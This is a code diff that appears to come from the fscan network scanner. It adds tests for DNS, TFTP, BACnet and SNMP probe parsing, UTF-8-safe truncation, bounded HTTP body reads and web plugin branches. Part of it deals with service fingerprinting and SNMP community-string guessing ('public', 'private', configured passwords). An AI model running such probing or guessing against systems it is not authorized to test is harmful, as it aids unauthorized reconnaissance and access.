@@ -0,0 +1,31 @@
//go:build plugin_redis || !plugin_selective
package services
import (
"strings"
"testing"
"unicode/utf8"
)
func TestTruncateRunesKeepsUTF8Valid(t *testing.T) {
got := truncateRunes(strings.Repeat("界", 205), 200)
if !utf8.ValidString(got) {
t.Fatalf("truncateRunes returned invalid utf8: %q", got)
}
if len([]rune(got)) != 203 || !strings.HasSuffix(got, "...") {
t.Fatalf("truncateRunes() = rune len %d value %q", len([]rune(got)), got)
}
got = truncateRunes(strings.Repeat("界", 55), 50)
if !utf8.ValidString(got) || len([]rune(got)) != 53 || !strings.HasSuffix(got, "...") {
t.Fatalf("truncateRunes(50) = rune len %d value %q", len([]rune(got)), got)
}
}
func TestRedisTruncateTextTruncatesByRune(t *testing.T) {
got := NewRedisPlugin().truncateText(strings.Repeat("界", 55))
if !utf8.ValidString(got) || len([]rune(got)) != 53 {
t.Fatalf("truncateText() = %q", got)
}
}
+120
View File
@@ -0,0 +1,120 @@
//go:build !plugin_selective || (plugin_dns && plugin_tftp && plugin_bacnet && plugin_snmp)
package services
import (
"encoding/binary"
"strings"
"testing"
"github.com/shadow1ng/fscan/common"
)
func TestDNSRootNSQueryAndResponse(t *testing.T) {
const id uint16 = 0x1234
query := buildDNSRootNSQuery(id)
if len(query) != 17 {
t.Fatalf("query length = %d, want 17", len(query))
}
if got := binary.BigEndian.Uint16(query[0:2]); got != id {
t.Fatalf("query id = %#x, want %#x", got, id)
}
if got := binary.BigEndian.Uint16(query[13:15]); got != 2 {
t.Fatalf("query type = %d, want NS(2)", got)
}
response := make([]byte, 12)
binary.BigEndian.PutUint16(response[0:2], id)
binary.BigEndian.PutUint16(response[2:4], 0x8183)
binary.BigEndian.PutUint16(response[4:6], 1)
binary.BigEndian.PutUint16(response[6:8], 2)
binary.BigEndian.PutUint16(response[8:10], 3)
binary.BigEndian.PutUint16(response[10:12], 4)
banner, ok := parseDNSResponse(response, id)
if !ok {
t.Fatal("expected DNS response to parse")
}
for _, want := range []string{"rcode=3", "qd=1", "an=2", "ns=3", "ar=4"} {
if !strings.Contains(banner, want) {
t.Fatalf("banner %q missing %q", banner, want)
}
}
if _, ok := parseDNSResponse(response, id+1); ok {
t.Fatal("response with wrong id should not parse")
}
response[2] = 0
if _, ok := parseDNSResponse(response, id); ok {
t.Fatal("query packet should not parse as response")
}
}
func TestTFTPRequestAndResponseParsing(t *testing.T) {
req := buildTFTPReadRequest("probe")
want := []byte{0, 1, 'p', 'r', 'o', 'b', 'e', 0, 'o', 'c', 't', 'e', 't', 0}
if string(req) != string(want) {
t.Fatalf("request = %v, want %v", req, want)
}
if banner, ok := parseTFTPResponse([]byte{0, 3, 0, 1}); !ok || banner != "TFTP DATA response" {
t.Fatalf("DATA parse = %q/%v", banner, ok)
}
if banner, ok := parseTFTPResponse([]byte{0, 5, 0, 1, 'n', 'o', 't', ' ', 'f', 'o', 'u', 'n', 'd', 0}); !ok || banner != "TFTP not found" {
t.Fatalf("ERROR parse = %q/%v", banner, ok)
}
if banner, ok := parseTFTPResponse([]byte{0, 5, 0, 1, 0}); !ok || banner != "TFTP error response" {
t.Fatalf("empty ERROR parse = %q/%v", banner, ok)
}
if _, ok := parseTFTPResponse([]byte{0, 9, 0, 1}); ok {
t.Fatal("unknown opcode should not parse")
}
}
func TestBACnetResponseParsing(t *testing.T) {
data := []byte{0x81, 0x0a, 0x00, 0x08, 0x01, 0x20, 0x10, 0x00}
if banner, ok := parseBACnetResponse(data); !ok || banner != "BACnet I-Am response" {
t.Fatalf("BACnet parse = %q/%v", banner, ok)
}
if _, ok := parseBACnetResponse([]byte{0x81, 0x0a, 0x00, 0x09, 0x01, 0x20, 0x10, 0x00}); ok {
t.Fatal("bad BACnet length should not parse")
}
if _, ok := parseBACnetResponse([]byte{0x82, 0x0a, 0x00, 0x06, 0x10, 0x00}); ok {
t.Fatal("bad BACnet marker should not parse")
}
}
func TestSNMPBuildersAndCommunityList(t *testing.T) {
req := buildSNMPGetRequest("public", []int{1, 3, 6, 1, 2, 1, 1, 1, 0})
if len(req) == 0 || req[0] != 0x30 {
t.Fatalf("SNMP request should be an ASN.1 sequence, got %v", req)
}
if got := parseSNMPResponse(nil); got != "" {
t.Fatalf("nil SNMP response = %q, want empty", got)
}
cfg := common.NewConfig()
cfg.Credentials.Passwords = []string{"private", "custom", "public"}
communities := NewSNMPPlugin().buildCommunityList(cfg)
if !containsString(communities, "public") || !containsString(communities, "private") || !containsString(communities, "custom") {
t.Fatalf("community list missing expected entries: %v", communities)
}
if countString(communities, "public") != 1 || countString(communities, "private") != 1 {
t.Fatalf("community list should deduplicate entries: %v", communities)
}
}
func containsString(values []string, target string) bool {
return countString(values, target) > 0
}
func countString(values []string, target string) int {
count := 0
for _, value := range values {
if value == target {
count++
}
}
return count
}
+1 -4
View File
@@ -64,10 +64,7 @@ func parseZooKeeperResponse(data []byte) (string, bool) {
lower := strings.ToLower(resp)
if strings.Contains(lower, "zookeeper") || strings.Contains(lower, "zk_version") ||
strings.Contains(lower, "mode:") || strings.Contains(lower, "not in the whitelist") {
if len(resp) > 200 {
resp = resp[:200]
}
return resp, true
return truncateRunes(resp, 200), true
}
return "", false
}
+11 -1
View File
@@ -2,7 +2,11 @@
package services
import "testing"
import (
"strings"
"testing"
"unicode/utf8"
)
func TestParseZooKeeperResponse(t *testing.T) {
banner, ok := parseZooKeeperResponse([]byte("imok"))
@@ -13,4 +17,10 @@ func TestParseZooKeeperResponse(t *testing.T) {
if _, ok := parseZooKeeperResponse([]byte("hello")); ok {
t.Fatal("unexpected match for non-zookeeper response")
}
longResp := "zk_version\t" + strings.Repeat("界", 205)
banner, ok = parseZooKeeperResponse([]byte(longResp))
if !ok || !utf8.ValidString(banner) || len([]rune(banner)) != 203 {
t.Fatalf("zookeeper truncation = %q ok=%v", banner, ok)
}
}
+53
View File
@@ -0,0 +1,53 @@
package web
import (
"context"
"testing"
"github.com/shadow1ng/fscan/common"
)
func TestMatchCDNorWAF(t *testing.T) {
tests := []struct {
name string
fingerprints []string
want string
}{
{name: "empty", fingerprints: nil, want: ""},
{name: "no match", fingerprints: []string{"nginx", "wordpress"}, want: ""},
{name: "case insensitive cdn", fingerprints: []string{"site behind cloudflare"}, want: "CloudFlare"},
{name: "chinese waf", fingerprints: []string{"命中安全狗防护"}, want: "安全狗"},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
if got := matchCDNorWAF(tt.fingerprints); got != tt.want {
t.Fatalf("matchCDNorWAF(%v) = %q, want %q", tt.fingerprints, got, tt.want)
}
})
}
}
func TestWebPocEarlyReturnBranches(t *testing.T) {
plugin := NewWebPocPlugin()
if plugin == nil || plugin.Name() != "webpoc" {
t.Fatalf("unexpected plugin: %#v", plugin)
}
cfg := common.NewConfig()
session := common.NewScanSession(cfg, common.NewState(), &common.FlagVars{})
info := &common.HostInfo{Host: "example.com", Port: 80}
cfg.POC.Disabled = true
disabled := plugin.Scan(context.Background(), info, session)
if disabled.Success || disabled.Error == nil {
t.Fatalf("disabled scan = %#v, want failed result with error", disabled)
}
cfg.POC.Disabled = false
cfg.POC.Full = false
skipped := plugin.Scan(context.Background(), info, session)
if !skipped.Success || !skipped.Skipped {
t.Fatalf("non-full scan = %#v, want skipped success", skipped)
}
}
+47 -9
View File
@@ -24,6 +24,8 @@ import (
"github.com/shadow1ng/fscan/webscan/lib"
)
const maxWebTitleBodyBytes = 2 << 20
// 预编译正则表达式
var (
titleRegex = regexp.MustCompile(`(?i)<title[^>]*>([^<]+)</title>`)
@@ -136,10 +138,7 @@ func (p *WebTitlePlugin) getWebTitle(ctx context.Context, info *common.HostInfo,
baseURL := webTitleURL(urlScheme, info.Host, info.Port)
// 选择对应的 HTTP 客户端
clientNR, clientR := lib.ClientNoRedirect, lib.Client
if isGM {
clientNR, clientR = lib.ClientNoRedirectGM, lib.ClientGM
}
clientNR, clientR := webTitleHTTPClients(isGM)
// 构建显示用URL(隐藏标准端口)
var displayURL string
@@ -164,7 +163,7 @@ func (p *WebTitlePlugin) getWebTitle(ctx context.Context, info *common.HostInfo,
return "", 0, 0, "", nil, displayURL, err
}
body, err := io.ReadAll(resp.Body)
body, err := readWebTitleBody(resp.Body)
_ = resp.Body.Close()
contentLen := len(body)
if err != nil {
@@ -196,7 +195,7 @@ func (p *WebTitlePlugin) getWebTitle(ctx context.Context, info *common.HostInfo,
reqRedirect.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
respRedirect, err := clientR.Do(reqRedirect)
if err == nil {
bodyRedirect, err := io.ReadAll(respRedirect.Body)
bodyRedirect, err := readWebTitleBody(respRedirect.Body)
_ = respRedirect.Body.Close()
if err == nil && len(bodyRedirect) > 0 {
// 添加跳转后页面的指纹数据
@@ -299,6 +298,34 @@ func (p *WebTitlePlugin) triggerPocScan(ctx context.Context, info *common.HostIn
WebScan.WebScan(ctx, info, config, session)
}
func webTitleHTTPClients(isGM bool) (*http.Client, *http.Client) {
if isGM {
return firstHTTPClient(lib.ClientNoRedirectGM, defaultNoRedirectClient()), firstHTTPClient(lib.ClientGM, http.DefaultClient)
}
return firstHTTPClient(lib.ClientNoRedirect, defaultNoRedirectClient()), firstHTTPClient(lib.Client, http.DefaultClient)
}
func firstHTTPClient(clients ...*http.Client) *http.Client {
for _, client := range clients {
if client != nil {
return client
}
}
return http.DefaultClient
}
func defaultNoRedirectClient() *http.Client {
return &http.Client{
CheckRedirect: func(*http.Request, []*http.Request) error {
return http.ErrUseLastResponse
},
}
}
func readWebTitleBody(r io.Reader) ([]byte, error) {
return io.ReadAll(io.LimitReader(r, maxWebTitleBodyBytes))
}
// formatHeaders 将 HTTP Header 格式化为字符串
func (p *WebTitlePlugin) formatHeaders(headers http.Header) string {
var builder strings.Builder
@@ -361,9 +388,7 @@ func (p *WebTitlePlugin) extractTitle(html string) string {
title := strings.TrimSpace(matches[1])
title = whitespaceRegex.ReplaceAllString(title, " ")
if len(title) > 100 {
title = title[:100] + "..."
}
title = truncateRunes(title, 100)
if utf8.ValidString(title) {
return title
@@ -373,6 +398,19 @@ func (p *WebTitlePlugin) extractTitle(html string) string {
return ""
}
func truncateRunes(s string, maxRunes int) string {
if maxRunes < 0 {
return s
}
for i := range s {
if maxRunes == 0 {
return s[:i] + "..."
}
maxRunes--
}
return s
}
// fetchFaviconHash 下载 favicon.ico 并计算 hash
func (p *WebTitlePlugin) fetchFaviconHash(ctx context.Context, baseURL string) fingerprint.FaviconHashes {
// 构造 favicon URL
+45
View File
@@ -3,7 +3,9 @@ package web
import (
"context"
"net/http"
"strings"
"testing"
"unicode/utf8"
"github.com/shadow1ng/fscan/webscan/lib"
)
@@ -12,6 +14,14 @@ type faviconRoundTripper struct {
called bool
}
func TestExtractTitleTruncatesByRune(t *testing.T) {
title := strings.Repeat("界", 105)
got := NewWebTitlePlugin().extractTitle("<html><title>" + title + "</title></html>")
if !utf8.ValidString(got) || len([]rune(got)) != 103 || !strings.HasSuffix(got, "...") {
t.Fatalf("extractTitle() = %q", got)
}
}
func (rt *faviconRoundTripper) RoundTrip(req *http.Request) (*http.Response, error) {
rt.called = true
<-req.Context().Done()
@@ -56,3 +66,38 @@ func TestWebTitleURLUsesJoinHostPort(t *testing.T) {
})
}
}
func TestWebTitleHTTPClientsFallbackWhenGlobalsNil(t *testing.T) {
previousClient, previousNoRedirect := lib.Client, lib.ClientNoRedirect
previousGM, previousNoRedirectGM := lib.ClientGM, lib.ClientNoRedirectGM
lib.Client, lib.ClientNoRedirect = nil, nil
lib.ClientGM, lib.ClientNoRedirectGM = nil, nil
defer func() {
lib.Client, lib.ClientNoRedirect = previousClient, previousNoRedirect
lib.ClientGM, lib.ClientNoRedirectGM = previousGM, previousNoRedirectGM
}()
clientNR, clientR := webTitleHTTPClients(false)
if clientNR == nil || clientR == nil {
t.Fatal("webTitleHTTPClients returned nil fallback client")
}
req, err := http.NewRequest(http.MethodGet, "http://example.com", nil)
if err != nil {
t.Fatal(err)
}
if err := clientNR.CheckRedirect(req, []*http.Request{req}); err != http.ErrUseLastResponse {
t.Fatalf("no-redirect fallback error = %v, want http.ErrUseLastResponse", err)
}
}
func TestReadWebTitleBodyIsBounded(t *testing.T) {
body := strings.NewReader(strings.Repeat("a", maxWebTitleBodyBytes+1024))
got, err := readWebTitleBody(body)
if err != nil {
t.Fatalf("readWebTitleBody error = %v", err)
}
if len(got) != maxWebTitleBodyBytes {
t.Fatalf("body len = %d, want %d", len(got), maxWebTitleBodyBytes)
}
}